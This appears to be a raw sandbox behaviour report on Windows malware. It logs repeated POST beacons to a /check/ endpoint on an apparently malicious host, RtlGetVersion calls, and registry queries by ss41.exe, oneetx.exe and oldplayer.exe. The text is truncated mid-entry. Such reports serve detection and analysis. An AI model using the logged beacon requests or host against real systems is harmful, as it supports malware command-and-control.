Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227384&key=f7478fbc2d0ed4da00789ce9f08daf2f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227384&key=f7478fbc2d0ed4da00789ce9f08daf2f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227384&key=f7478fbc2d0ed4da00789ce9f08daf2f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227384&key=f7478fbc2d0ed4da00789ce9f08daf2f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227384&key=f7478fbc2d0ed4da00789ce9f08daf2f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227394&key=688d922664fa1803c717c56745761a0c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "688d922664fa1803c717c56745761a0c" in header "POST /check/?sid=227394&key=688d922664fa1803c717c56745761a0c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227394&key=688d922664fa1803c717c56745761a0c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227394&key=688d922664fa1803c717c56745761a0c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227394&key=688d922664fa1803c717c56745761a0c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227394&key=688d922664fa1803c717c56745761a0c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227394&key=688d922664fa1803c717c56745761a0c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227398&key=ecea3e11c33d6556a1c8d3753277d519 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "ecea3e11c33d6556a1c8d3753277d519" in header "POST /check/?sid=227398&key=ecea3e11c33d6556a1c8d3753277d519 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227398&key=ecea3e11c33d6556a1c8d3753277d519 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227398&key=ecea3e11c33d6556a1c8d3753277d519 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227398&key=ecea3e11c33d6556a1c8d3753277d519 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227398&key=ecea3e11c33d6556a1c8d3753277d519 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227398&key=ecea3e11c33d6556a1c8d3753277d519 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227408&key=be11b7e2be2f70ac62e884aebf42ffd4 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "be11b7e2be2f70ac62e884aebf42ffd4" in header "POST /check/?sid=227408&key=be11b7e2be2f70ac62e884aebf42ffd4 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227408&key=be11b7e2be2f70ac62e884aebf42ffd4 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227408&key=be11b7e2be2f70ac62e884aebf42ffd4 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227408&key=be11b7e2be2f70ac62e884aebf42ffd4 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227408&key=be11b7e2be2f70ac62e884aebf42ffd4 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227408&key=be11b7e2be2f70ac62e884aebf42ffd4 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227412&key=868acb499703a588635e179dcf6ca159 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "868acb499703a588635e179dcf6ca159" in header "POST /check/?sid=227412&key=868acb499703a588635e179dcf6ca159 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227412&key=868acb499703a588635e179dcf6ca159 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227412&key=868acb499703a588635e179dcf6ca159 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227412&key=868acb499703a588635e179dcf6ca159 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227412&key=868acb499703a588635e179dcf6ca159 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227412&key=868acb499703a588635e179dcf6ca159 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227426&key=38b25b8356b8b8fb0a32218c9859c0b1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "38b25b8356b8b8fb0a32218c9859c0b1" in header "POST /check/?sid=227426&key=38b25b8356b8b8fb0a32218c9859c0b1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227426&key=38b25b8356b8b8fb0a32218c9859c0b1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227426&key=38b25b8356b8b8fb0a32218c9859c0b1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227426&key=38b25b8356b8b8fb0a32218c9859c0b1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227426&key=38b25b8356b8b8fb0a32218c9859c0b1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227426&key=38b25b8356b8b8fb0a32218c9859c0b1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com"29:T22e2,".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000058ca8f0038cfb577e433a302c4ca8f00010000009833a302e433a3029833a302040000000400000000e0397700100000c4ca8f00010000009833a302cd97b5779c97b577caec04edb50f30779833a3020000b577000000003418aa760000000080ee36770100000000000000f8e23977000000000400000080a94a7448403877f8e23977c8ca8f0080e800753007a40280e80075c4ca8f000000000080e8007500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000008690a6029c90a602 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000c6b6a602deb6a602 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000076b9a6028ab9a602 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000026e7a6023ee7a602 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000056eca6026ceca602 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000007ef1a60296f1a602 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000a6f0a602bef0a602 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000005645a7026e45a702 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000e44a7022644a702 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000e44a7022244a702 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001e63a8023863a802 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d012eb02000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008cd28f005243b87743000000e0d28f0073f62d7722d38f005c00000000000000fdfeff7f82f82d7700000000bcdbe7fdfeffffff0000000000000000000000000500000070f7a70202000000020000000a00000060f7a70270f7a7020000000009b2fdbc28d58f00ddf32d771cd38f000000000060f7a7020a000000f8f32d7760f7a702 (UID: 00000000-00006580) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000088a0a6029ca0a602 (UID: 00000000-00006580)2a:T487,".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "oldplayer.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "oldplayer.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "ss41.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "oneetx.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "oneetx.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "schtasks.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cacls.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2b:T6e4,"ss41.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTRATIONENABLED"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTERADAPTERNAME"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DOMAIN"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DHCPDOMAIN"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")2c:T42f,"ss41.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "ss41.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "ss41.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "ss41.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "ss41.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "ss41.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "ss41.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "ss41.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "ss41.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES"; Key: "") "ss41.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST"; Key: "") "ss41.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CRLS"; Key: "")2d:T4cf,"ss41.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "ss41.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "ss41.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "ss41.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "ss41.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "ss41.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "ss41.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "ss41.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "ss41.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: 